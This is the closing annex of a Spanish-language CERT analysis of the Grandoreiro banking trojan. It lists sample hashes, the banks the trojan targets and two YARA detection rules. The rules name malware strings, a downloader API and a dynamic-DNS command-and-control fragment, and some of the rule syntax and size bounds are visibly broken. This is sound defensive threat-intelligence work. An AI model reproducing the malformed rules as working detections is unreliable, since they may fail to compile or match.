 - MD5: 98ef8e5ef3bef928537d4fd25c53380a
 - SHA256: 35c0744bec0e123d24a9ffd3d7a9edeb07d9341ab45619b5fc881ce7dd81276a
- Listado de entidades financieras afectadas

AMARELO	Liberbank	HSBCUK
BRSUL	Openbank	barclaysUK
BancodaAmazonia	ING	BICE
Banpara	Pichincha	Ripley
Santander	CaixaGeral	Bci
Banese	Mediolanum	Chile
Bradesco	Unicaja	BancoEstado
AGY	TRIODOS	Falabella
inter	ACTIVOBANK	Santander
Sicoob	ACTIVOBANKPT	Scotiabank
Sicredi	novobancopt	PortugalBBVA
Caixa	santapt	bancobcr
itau	MONTEPIOpt	BarclaysES
nordeste	millenniumbcppt	BNPParibas
paulista	Caixadirectapt	CaixaGuissona
Scotiabank	EuroBicpt	Cajasur
brb	ibercaja	CitiBusiness
Cetelem	BancoAzteca	Commerzbank
Banestes	Citibanamex	Deutsche
Original	Banorte	EVOBanco





CajaRural	Scotiabank	BMN
Sabadell	BPI	MicroBank
BANKINTER	Cecabank	MiBanco
Bankia.es	natwest	

Tabla 2. Entidades financieras afectadas por Grandoreiro





Anexo 2: Reglas Yara de detección

Las siguientes reglas Yara detectan las 2 versiones de *dll* de las que se ha hablado en el estudio, tanto el *downloader* como el propio troyano:

```
rule Grandoreiro Banker Downloader
{
 meta:
   author = "INCIBE-CERT"
    description = "Detecta el Downloader del troyano bancario Grandoreiro"
  strings:
    $delphidll1 = { BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ??
?? ?? ?? 89 4A 04 }
   $delphidll2 = { 55 8B EC 83 C4 ?? B8 ?? ?? ?? E8 ?? ?? FF FF E8 ?? ?? FF FF 8D 40 00 }
    $str1 = " 2001, 2002 Mike Lischke"
    $str2 = "8$4,6-9'$6.:*?#1pHhX~AeSlZrNbS"
    $str3 = "Archive already has SFX stub"
    $str4 = "Deflate64 compression method is not supported"
    $str5 = "Delphi Component"
   $str6 = "EDecompressionErrorneed dictionary"
   $str7 = "MakeSFX error"
   $str8 = "Runtime error
                               at 00000000"
   $str9 = "Web site: http://www.componentace.com"
   $str10 = "ScreenToClient"
   $str11 = "SFXStub property is not specified"
    $str12 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x"
    $str13 = "SystemParametersInfoA"
    $str14 = "TAESCryptoTransform"
   $str15 = "TGetSiteInfoEvent"
   $str16 = "$TMultiReadExclusiveWriteSynchronizer"
   $str17 = "to create a commercial product, please register and download"
   $str18 = "URLDownloadToFileA"
   $str19 = "VerLanguageNameA"
    $str20 = "WndProcPtr%.8X%.8X"
   $str21 = "you that your Personal Edition is provided for personal usage only."
$str22 = "Zip64Mode"
  condition:
   uint16(0) == 0x5A4D // MZ
    and uint16(uint32(0x3C)+0x18) == 0x010B //MZ header en 0x3C
    and (uint16(uint32(0x3C)+0x16) & 0x2000) == 0x2000 //PE DLL signature
    and any of ($delphidll*)
    and all of ($str*)
    and (filesize > 1400KB and filesize < 3000KB)
}
```





```
rule Grandoreiro_Banker_Trojan
{
  meta:
    author = "INCIBE-CERT"
   description = "Detecta el troyano bancario Grandoreiro"
  strings:
   mzp = MZP''
   $str1 = "yIdIOHandlerSocket"
   $str2 = "ATIVARCAPTURAFULL"
   $str3 = "ATIVARCAPTURAMAG"
   $str4 = "AutoSessionsPingT"
   $str5 = "v4.09 (2013.Q2)
   $str6 = "CallNextHookEx"
   $str7 = "Cap.DfbBackingMode"
   $str8 = "CryptPlugin.AfterDisconnect"
   $str9 = "deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly"
   $str10 = "DELETAKL"
   $str11 = "DETONAPROCESSO"
   $str12 = "EXIBIRMZ"
$str13 = "Gate_CryptPlugin"
   $str14 = "GetType method not available for TRtcDataRow"
   $str15 = "GUploadAnywhere_Super"
   $str16 = ".hopto.org"
   $str17 = "Magnification.dll"
   $str18 = "<member><name>RTC.DATASET.ROWS</name>"
   $str19 = "Portable network graphics (AlphaControls)"
   $str20 = "RemoteThreadCallbacks TRtcThreadCallback.DestroyCallback"
$str21 = "SUSPENDEACESSO"
   $str22 = "ZDecompress_str.InflateInit"
 condition:
   $mzp at 0
   and all of ($str*)
   and (filesize > 140000KB and filesize < 400000KB)
}
```



Financiado por la Unión Europea NextGenerationEU





Plan de Recuperación, Transformación y Resiliencia

